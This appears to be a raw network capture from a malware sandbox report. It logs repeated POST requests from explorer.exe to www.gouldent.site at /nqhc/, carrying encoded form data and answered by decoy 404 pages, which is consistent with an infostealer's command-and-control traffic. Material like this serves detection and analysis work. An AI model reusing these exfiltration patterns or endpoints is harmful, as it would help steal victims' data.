Dec 5, 2022 15:16:30.076657057 CET	11580	IN	Data Raw: 6e 44 69 76 31 22 26 26 6d 79 69 64 21 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 29 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 Data Ascii: nDiv1"&&myid!="showcloneshengxiaon"){document.body.children[i].style.display="none"}}catch(e){}}},100)}catch(e){}</script><script>(function(){var bp=document.createElement('script');var curProtocol=window.location.protocol.split(':')[0];if(cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	49871	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:43.326953888 CET	11582	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 69 47 6b 58 47 74 4d 66 67 68 50 53 46 6d 38 41 36 78 53 4d 69 73 75 55 64 45 71 66 6c 7a 51 7a 4c 76 38 51 6b 57 70 4f 7a 6e 4c 73 73 6f 28 32 67 50 61 6f 32 2d 28 7a 33 5a 6e 6d 39 4d 6f 6f 49 54 55 51 6d 66 6d 4d 32 39 77 75 7a 48 73 6d 51 31 41 73 53 54 52 34 77 4a 68 4f 6c 55 4f 41 52 56 74 32 32 55 52 66 59 6d 69 72 47 63 33 5a 30 6e 4e 44 51 63 56 4b 48 4c 45 38 46 68 55 58 79 4d 62 6f 43 47 6a 75 37 37 39 63 75 30 4e 7a 7e 77 6c 30 68 49 45 69 62 79 4b 55 4c 49 4e 44 73 67 75 6a 6a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=4aNeThNKxkEEiGkXGtMfghPSFm8A6xSMisuUdEqflzQzLv8QkWpOznLsso(2gPao2-(z3Znm9MooITUQmfmM29wuzHsmQ1AsSTR4wJhOlUOARVt22URfYmirGc3Z0nNDQcVKHLE8FhUXyMboCGju779cu0Nz~wl0hIEibyKULINDsgujjg).
Dec 5, 2022 15:16:43.668857098 CET	11583	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:16:43 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	49872	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:45.511632919 CET	11584	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 30 7a 49 4b 59 51 32 44 46 4f 77 6e 4c 73 7e 49 28 33 76 76 62 6d 32 35 32 4f 33 64 6e 6d 39 49 34 6f 49 67 73 51 33 5f 6d 50 39 64 77 70 30 48 73 6c 62 56 41 6d 53 54 64 56 77 49 6c 4f 6c 46 69 41 51 58 46 32 79 41 46 63 64 47 69 70 54 4d 33 59 7e 48 4e 6b 51 63 6f 31 48 4b 74 48 45 54 49 58 79 73 37 6f 51 57 6a 68 68 37 38 55 78 45 4d 74 78 69 45 62 6d 70 45 4b 4d 51 61 7a 4b 72 51 51 76 6b 47 70 28 4c 4f 6a 71 6d 59 78 4f 79 58 5f 33 67 42 44 4d 64 6a 41 57 33 69 50 48 54 39 67 4f 52 4f 36 68 6a 38 63 75 4d 53 6b 34 34 4d 6d 63 72 79 41 5a 45 37 57 65 4a 6b 4b 28 78 79 68 62 71 48 79 4b 6c 74 30 58 63 34 53 62 44 42 38 70 62 77 49 74 79 52 6f 78 4d 52 77 7a 32 65 71 56 5a 4b 37 58 31 32 61 51 67 58 6a 57 5a 67 68 6f 37 30 6c 6b 61 66 65 32 34 4a 58 67 37 68 7a 70 56 35 4f 4e 51 4e 41 33 72 38 71 4a 34 46 46 7e 54 6a 74 4a 55 59 6c 36 47 31 45 73 63 7e 5f 46 48 61 39 73 4c 65 72 76 2d 42 4c 36 44 33 6c 4f 77 79 5f 48 62 7a 6a 42 56 39 46 6a 4c 52 63 4b 61 65 71 6a 70 73 47 76 76 69 66 51 68 7e 38 56 30 75 75 63 33 48 69 38 5a 32 4c 43 78 4a 7a 30 36 43 75 35 31 43 67 77 66 34 76 73 36 4c 75 45 41 7e 4e 71 35 62 43 70 61 38 6d 58 7a 4e 31 75 48 76 4d 38 71 46 6a 61 4c 35 75 41 74 6e 77 71 30 67 35 49 58 79 50 5a 45 61 33 6c 46 32 42 70 64 77 50 7a 58 41 7a 67 38 58 57 54 79 4e 41 59 6d 67 30 54 4d 75 68 41 55 55 73 46 7a 6e 43 67 75 6b 44 78 48 49 79 37 6d 39 2d 7e 6a 6a 66 48 58 6a 58 74 73 30 67 78 73 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB0zIKYQ2DFOwnLs~I(3vvbm252O3dnm9I4oIgsQ3_mP9dwp0HslbVAmSTdVwIlOlFiAQXF2yAFcdGipTM3Y~HNkQco1HKtHETIXys7oQWjhh78UxEMtxiEbmpEKMQazKrQQvkGp(LOjqmYxOyX_3gBDMdjAW3iPHT9gORO6hj8cuMSk44MmcryAZE7WeJkK(xyhbqHyKlt0Xc4SbDB8pbwItyRoxMRwz2eqVZK7X12aQgXjWZgho70lkafe24JXg7hzpV5ONQNA3r8qJ4FF~TjtJUYl6G1Esc~_FHa9sLerv-BL6D3lOwy_HbzjBV9FjLRcKaeqjpsGvvifQh~8V0uuc3Hi8Z2LCxJz06Cu51Cgwf4vs6LuEA~Nq5bCpa8mXzN1uHvM8qFjaL5uAtnwq0g5IXyPZEa3lF2BpdwPzXAzg8XWTyNAYmg0TMuhAUUsFznCgukDxHIy7m9-~jjfHXjXts0gxs8.
Dec 5, 2022 15:16:45.811323881 CET	11585	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:16:45 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	49873	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:47.697463036 CET	11590	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 38 7a 4c 38 55 51 6b 30 78 4f 78 6e 4c 73 6c 49 28 79 76 76 62 72 32 5f 66 4a 33 64 72 51 39 4f 6b 6f 49 7a 45 51 33 4b 79 50 34 64 77 6f 37 6e 73 6e 51 31 41 79 53 54 52 61 77 49 67 31 6c 55 57 41 52 58 31 32 32 79 74 66 54 32 69 72 54 4d 33 63 36 48 4e 7a 51 63 74 6f 48 4b 68 48 45 52 38 58 7a 66 44 6f 44 31 62 68 31 62 38 56 6f 30 4e 74 34 43 45 36 6d 70 67 65 4d 51 61 46 4b 70 38 51 76 6a 79 70 7e 4d 36 69 70 47 59 78 51 43 58 34 7a 68 39 48 4d 64 76 75 57 33 57 50 48 52 74 67 4e 78 4f 36 6b 43 38 66 34 38 53 69 79 59 4e 67 57 4c 75 49 5a 41 54 43 65 49 41 4b 34 42 6d 68 61 5a 76 79 4d 48 4a 30 65 63 34 51 47 7a 42 76 6a 37 77 55 74 79 41 42 78 50 5a 61 7a 30 79 71 45 4c 53 37 54 55 32 56 48 77 57 71 61 35 68 37 73 37 78 6b 6b 61 75 66 32 34 4a 35 67 2d 52 7a 75 6b 4a 4f 4f 52 4e 48 30 37 39 44 42 59 45 48 30 7a 76 33 4a 55 73 39 36 46 31 55 73 64 32 5f 47 6e 61 39 75 73 4b 71 6c 4f 42 4d 6c 7a 32 71 54 67 79 57 48 63 37 4a 42 51 46 5f 69 34 46 63 4a 4f 36 71 70 5a 73 46 72 50 69 62 57 52 7e 2d 65 55 75 75 63 77 4f 62 38 5a 79 4c 43 6b 74 7a 30 4e 6d 75 70 32 61 67 32 66 34 74 73 36 4c 7a 45 41 69 45 71 35 43 56 70 61 73 41 58 77 39 31 75 57 28 4d 28 76 78 67 66 37 35 6e 53 64 6d 6f 31 6b 38 75 49 58 75 48 5a 41 47 34 6b 33 69 42 6f 64 41 50 69 48 41 79 79 73 58 56 62 53 4e 61 4a 32 63 53 54 4d 7a 55 41 55 49 47 46 30 62 43 73 70 51 55 32 6d 49 6b 76 77 68 72 34 47 76 76 48 52 6a 71 33 75 6f 52 6d 62 53 4d 41 54 44 71 78 61 78 56 4b 61 76 62 6e 32 34 2d 59 52 39 52 49 76 68 5f 28 6a 41 43 7a 39 72 6c 6d 6a 52 53 62 61 70 54 51 51 42 4e 77 76 44 79 7a 33 6d 35 7e 46 45 4d 6f 31 65 61 35 59 76 50 73 4a 4b 4e 4c 61 30 50 64 52 68 7a 52 65 69 72 63 69 37 4e 45 72 74 30 7a 41 72 2d 71 6a 6d 75 64 45 33 4c 43 66 42 41 43 52 53 4f 53 73 77 4d 55 32 59 61 52 71 5a 65 33 65 42 34 6e 34 6c 6e 31 66 33 66 43 5f 72 74 44 36 4c 4b 28 74 75 6f 42 5f 30 61 58 75 44 76 77 74 55 73 4d 66 48 66 6f 44 78 4d 33 4f 32 6b 68 78 44 35 6f 58 43 76 30 59 45 32 4f 71 31 41 76 65 77 4b 44 71 39 67 41 69 76 78 32 31 71 76 35 75 6b 59 42 65 65 5f 76 52 48 56 6c 62 37 56 68 6e 65 76 4f 31 71 68 46 4e 5a 78 41 4e 78 43 48 4a 48 69 66 59 32 69 31 75 6d 6f 79 73 30 71 4f 70 39 53 32 47 38 72 78 32 4d 79 6b 4c 65 70 68 6b 78 4d 45 64 7e 30 78 31 77 6e 74 33 41 36 31 34 53 33 64 72 67 52 78 64 4d 54 69 69 36 63 61 5f 35 55 52 76 28 41 50 57 4a 49 30 54 55 59 66 56 31 69 49 63 30 57 7e 37 55 50 78 74 58 2d 71 58 35 38 54 59 76 4c 45 51 6a 45 34 62 76 66 50 51 52 51 4c 76 7e 49 45 55 67 55 53 7a 35 4b 56 62 41 76 72 73 32 75 62 72 4f 39 68 57 6c 64 6a 4d 4e 6c 41 7a 69 53 41 5a 7a 30 6e 63 71 33 4b 69 56 4e 48 6c 54 38 76 36 61 65 4c 4f 4d 56 6b 34 4f 71 53 6e 4b 65 37 5a 35 5a 6a 71 28 6b 51 71 42 46 64 39 6c 44 41 49 68 44 33 53 43 59 76 5f 52 45 74 57 4f 4a 7a 37 28 68 39 79 4a 6b 55 67 43 7a 30 47 36 66 37 53 41 68 7a 6e 62 45 39 77 72 35 65 2d 41 4e 6a 32 39 4d 50 4f 45 4e 69 6b 32 4c 42 66 32 7a 53 70 55 65 33 39 79 78 68 6d 65 45 30 76 72 47 6f 6b 74 75 57 30 61 57 49 66 55 31 4d 67 5a 39 4a 34 74 50 31 50 43 37 7e 42 55 6a 4b 36 63 52 75 34 47 68 48 47 46 34 65 52 30 33 5a 4e 59 61 77 6f 67 35 50 41 71 68 4e 67 6a 4e 4a 31 56 79 58 73 31 6a 4f 59 68 4a 33 6c 35 54 34 4b 78 53 76 48 46 48 7a 42 67 61 6a 49 66 48 47 42 43 66 31 6f 75 49 48 7a 50 49 7a 45 77 4e 63 6a 43 66 56 4a 46 46 77 44 49 54 5a 2d 4a 6b 57 52 4b 77 7e 56 77 6b 47 55 57 31 78 4f 65 55 53 2d 37 44 6c 33 47 72 39 33 68 44 49 5a 42 2d 37 68 6a 62 50 44 41 68 6f 63 72 6b 57 55 47 67 5a 38 33 68 33 71 6d 70 6d 45 66 59 44 37 6f 6a 71 41 41 63 77 45 61 59 68 4e 58 6f 62 64 44 64 6d 74 77 69 76 33 73 4d 77 79 48 31 62 63 63 6f 34 45 63 62 39 72 4c 48 69 53 48 48 78 6d 6a 32 6d 72 67 59 32 4e 30 75 54 51 73 42 53 64 72 4c 6c 57 65 38 42 4c 59 33 75 66 7a 4b 61 36 46 5a 64 6b 77 51 62 59 4d 53 48 6e 31 6c 71 4b 55 6e 6d 6f 38 4d 35 68 52 71 77 4c 63 4a 36 34 64 67 53 7a 33 33 6f 77 45 77 4f 64 64 51 68 42 4c 62 49 61 50 43 56 4f 56 54 37 Data Ascii: 7nWHV=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB8zL8UQk0xOxnLslI(yvvbr2_fJ3drQ9OkoIzEQ3KyP4dwo7nsnQ1AySTRawIg1lUWARX122ytfT2irTM3c6HNzQctoHKhHER8XzfDoD1bh1b8Vo0Nt4CE6mpgeMQaFKp8Qvjyp~M6ipGYxQCX4zh9HMdvuW3WPHRtgNxO6kC8f48SiyYNgWLuIZATCeIAK4BmhaZvyMHJ0ec4QGzBvj7wUtyABxPZaz0yqELS7TU2VHwWqa5h7s7xkkauf24J5g-RzukJOORNH079DBYEH0zv3JUs96F1Usd2_Gna9usKqlOBMlz2qTgyWHc7JBQF_i4FcJO6qpZsFrPibWR~-eUuucwOb8ZyLCktz0Nmup2ag2f4ts6LzEAiEq5CVpasAXw91uW(M(vxgf75nSdmo1k8uIXuHZAG4k3iBodAPiHAyysXVbSNaJ2cSTMzUAUIGF0bCspQU2mIkvwhr4GvvHRjq3uoRmbSMATDqxaxVKavbn24-YR9RIvh_(jACz9rlmjRSbapTQQBNwvDyz3m5~FEMo1ea5YvPsJKNLa0PdRhzReirci7NErt0zAr-qjmudE3LCfBACRSOSswMU2YaRqZe3eB4n4ln1f3fC_rtD6LK(tuoB_0aXuDvwtUsMfHfoDxM3O2khxD5oXCv0YE2Oq1AvewKDq9gAivx21qv5ukYBee_vRHVlb7VhnevO1qhFNZxANxCHJHifY2i1umoys0qOp9S2G8rx2MykLephkxMEd~0x1wnt3A614S3drgRxdMTii6ca_5URv(APWJI0TUYfV1iIc0W~7UPxtX-qX58TYvLEQjE4bvfPQRQLv~IEUgUSz5KVbAvrs2ubrO9hWldjMNlAziSAZz0ncq3KiVNHlT8v6aeLOMVk4OqSnKe7Z5Zjq(kQqBFd9lDAIhD3SCYv_REtWOJz7(h9yJkUgCz0G6f7SAhznbE9wr5e-ANj29MPOENik2LBf2zSpUe39yxhmeE0vrGoktuW0aWIfU1MgZ9J4tP1PC7~BUjK6cRu4GhHGF4eR03ZNYawog5PAqhNgjNJ1VyXs1jOYhJ3l5T4KxSvHFHzBgajIfHGBCf1ouIHzPIzEwNcjCfVJFFwDITZ-JkWRKw~VwkGUW1xOeUS-7Dl3Gr93hDIZB-7hjbPDAhocrkWUGgZ83h3qmpmEfYD7ojqAAcwEaYhNXobdDdmtwiv3sMwyH1bcco4Ecb9rLHiSHHxmj2mrgY2N0uTQsBSdrLlWe8BLY3ufzKa6FZdkwQbYMSHn1lqKUnmo8M5hRqwLcJ64dgSz33owEwOddQhBLbIaPCVOVT7DVadkeEaLtw9rs6pWsasZ8rqCmu35Okbs3Pa63SkOA6SS5_O_WryzAkw7LD8_G2~o~UNju48aOXVgkVQLTTfowIangsu1ljWsVd8-OpOgA1l3iIn3QU9zl1CHva8kZoAB5rkpoMYqBqmiCM2zdkT7OdRwP3di6I8V~AkjwoRtIQMz2fO8oHkWZnXrKSowikA3~U~0IpKEADpcdrdo6o0Uz7Dcsmvoe0PvkCIC9ISoNRfjzIY0f30WCMjzz99LStqdYG4-wLXPLrjioO93f6r-uzaYrl4JWXhPol00L-lOD0wsniNgV8GTtwHUeaZopLQvr414ujYBNmUphoq6NIEm7Fbv8DUPLpu5NTW_Y71KkyjLYEEPiy1JhiEOR8cI9Kv8IazTcXHmOEVtIGFKrYZY6v8FvgIWVFIYL53_mChxK5QfCv6Cwt5F0WGrUif2SVdpeCbPsu4j3Dmzz82mvmZgThORs64lcvWUpb(v7fEG12r-q5xekN0AGedx(rD_vd9QPafkemONulqcRrFWgbiLFJ8g80ZMVLWsg_(hkavUASzhjtkd8C9qEfyS(uWGrKqM24PA9oVmLZu4nv9z710PbYPrkt6SpaXjQ6cfSGWBTT2nKfR7hr3laXee2vCOn9ZePUasQscYurZWxG5PszfZVgTlU19N(vf5x5k-5mVaavLu46CHAjf4iFXtFuKoF-MExV0DZ3FRbjOaon6EcXG5YQM4LxpHIuXdsLPBly7tVmlKGXaVKgftlWWOSTQYihWml95YF-0_ZUB7chJg7KTmzfkuIXPhDxTPxBmIrV2ZnFOmFkszmw5CU1LY0YYaY27MVo0zd7P9zN6Bj8~CCaPOtLPRMVSH54uIxXYCMr5W1wB-vD8eK2i1UOfxhq7C6plvi1IrYBh4y1iRJU9YprAGpTmJSIuOkNS2c05b8PqpfemvqbGVcdKLoW3MldLZc3aOE2Iv9EEtEm8oTfjkt3AuDjygINjEO6vkryLn(4qPGuROESrCyi0bLWHuLNcT7R9lxVxVCw(B7sIlNADVbCdiumUEHvtmLgqCsKKaEcfTPXIl~SUnZnBXtPCYEFT4yoFNWRFxhALytCyD2dmidLUj5A6gAR7XAJvJsVx912ECq_lXJSkluGed56TqTHqZU0zwLpyk1uVySIdgHOFTOvKNYd7EqmuyGskErbcKbIL9qeTLGBfpSA3DrYtRrYxIbwb0LcLBItQzU9sNUGvCxWHYMJq8BPf5BdKn9aIewYu33qN19NnI7PavKNHw9UNbqL5Vd5C4fhs6k43q2-qz9296gC4TvKYuC-Scgmu0K8CfhKIw2Kz9y0tnXON87sh1P7(JBOeqWhywHaHtj0LepkL07soWdhSBGfNH4RJdG211gVrJIJLAph8W6WCqCTjLHyfEhAIRshcWtt32W9H94xFwLK6L51LS0kSnKf6Mcop4oym3XClYE6SZI3A4tWfkOTZFjmG-Iyz00Ogs0V0t5EfaT1XYg1VnZ5SEUtk6CaYV3oG2tHCcuuolHxLUGjeFrSo-0oHDwrpPmc2cJOBKqWfvCIPDR4nt(66NxYnINfL1rnAAoH0aJkAxOJG_~cADF69LZvnYkTRHDoir5q0N6KRswtv7zkY0hyzqWAt6VtddxIFwmTLp7h5CCWKTS1tOF-~NMzvOPwFgSQD6~nvYAtoxAB0rd6GM1pgfVB(gNrbW9dC7hEGxIByQoaAUtCvBvOlEDRBC(bKWks~umS4yOEjnhGr8f1Du4AvDw3CgIGCManj3N5E-9lUJf-QPk4dHfnbfEFyFV2uXK34c9QmBM5opuA2WtlsyyZLGqtKxjm~Bx1DZ4FbKvUbANGoFNPMpnZBMa_rU7229IwCLvrkYrvrICzwUqUObRxCm0JUwZOLMopFDLsf-U8XG2pYxT1tdHz8f2Fnt(pNlbSV9s-QQRMVz3IDX3PvysAjGYna4aSZtltDTlsV-ygBScBjKFn9gEQnuDyhyiKXXDoxcuIXtc6j_sH6rHowZsQIFbjhGbhLT6pYMY3CuoGyF667ie1Vpa8OAkcUs4AiZz7HZYFq5xLUcFs0mleM15TpIw0mXbNAAWVMxtvOh9Q9bfmaSqjcGeezYKPsQ1ZLQzPphnA4yvxRe99ejKJg7g3nAHhMfP4rDAXFAQRgvA0PtWiFDiM12F4l9sRW4I54LmGqRavtXz8beI11Dw9jUZhsrgzKaziK1EIpBrJLqCIFQvbHXOrnbYLSkQrQbwn4aIwFcDqN_~NgPVyn8bKs9PKv90LyIgKD5ItOInaBVw_tyzIfOttqOl8sR7yI5C8dzWK~F~U4oyKZE9KFk87dkOeX7R2yEEv32vB83fgCt2UFWIHgmfL6S0vN4gWKzPSs0mvTYUDDl3H7lkUZF02nt6xgfyK9bTZxvnbi_pVFEddpw13ubmgiNHIXRIvHYOa5SKXs6sdBMrNviNBLVf5UrI6hcDXpFA_VYwvHFjcqMlLW9I3vvcTx8GLh5kPAs3Zfhw97n4NAgt7MHJu3gQJqmknwAJTiI~1v_m0td(RD7ZfZkS6mBTfcx9Jg7NYlHD8mH~Uv4PaIxg6EpGKWe6yxUIR74qwwZtENiASN4U1UcQt(kdPOeQ3XDU3E3QsCCOifOwyFwH1foBQKdPh7t7MPN9ezWgiH6ByxbDxlBwnFWD0KeB6bjPZWOfcDUcAbbNkwDrJAvo6NZFPc7uNYf3iFs~Zcwt9
Dec 5, 2022 15:16:47.697559118 CET	11598	OUT	Data Raw: 42 48 37 39 5f 76 61 65 53 32 38 65 51 78 70 73 51 78 4f 78 50 50 77 7a 68 6c 68 62 65 4e 30 54 6f 4e 5f 7a 30 47 58 6c 45 46 74 7a 51 49 53 6b 30 57 55 70 4d 30 61 5a 70 4d 6c 4c 75 48 4e 55 67 53 58 54 61 46 49 39 32 46 50 75 78 50 44 52 57 58 Data Ascii: BH79_vaeS28eQxpsQxOxPPwzhlhbeN0ToN_z0GXlEFtzQISk0WUpM0aZpMlLuHNUgSXTaFI92FPuxPDRWX_r-(LtlG70K7JEcZE79VGt13gowIIoVhhDK8GsdPfzXfNGLkDwxbFLkGuVjFynMK_dKoajCsyADW_vx~ryLsBrpnOQCZK8QTuDeH7dH2P(_k6Z5LWFAlqYdxZ(ds_o6RvLTj43LVR47uXMoiB8FNHooacKZBGQ6lE
Dec 5, 2022 15:16:47.856573105 CET	11601	OUT	Data Raw: 61 74 61 42 50 78 59 32 79 30 4d 78 49 45 52 44 65 41 59 52 32 78 32 52 5f 38 74 75 35 70 78 76 59 58 6b 6d 73 68 4a 66 72 52 71 68 41 31 53 4c 66 71 36 43 37 4d 41 37 64 62 64 45 42 58 5f 50 43 37 69 63 72 36 33 72 61 4c 65 63 4c 36 53 53 59 78 Data Ascii: ataBPxY2y0MxIERDeAYR2x2R_8tu5pxvYXkmshJfrRqhA1SLfq6C7MA7dbdEBX_PC7icr63raLecL6SSYxS5Hqlci95Gn~jLWxtAE(EMHq1M_HR881kl2e3BVxwR2uZUhHSndGp1AYKQ0QEGqtJokCudNh7~np-rR6kHkG_asDF~fr3dhHG5OfpOZo5sIX530H5zYOraBPL6ks0vHDofO6axH36LCdQKpUfcGNQnW~Teb9_8zX6
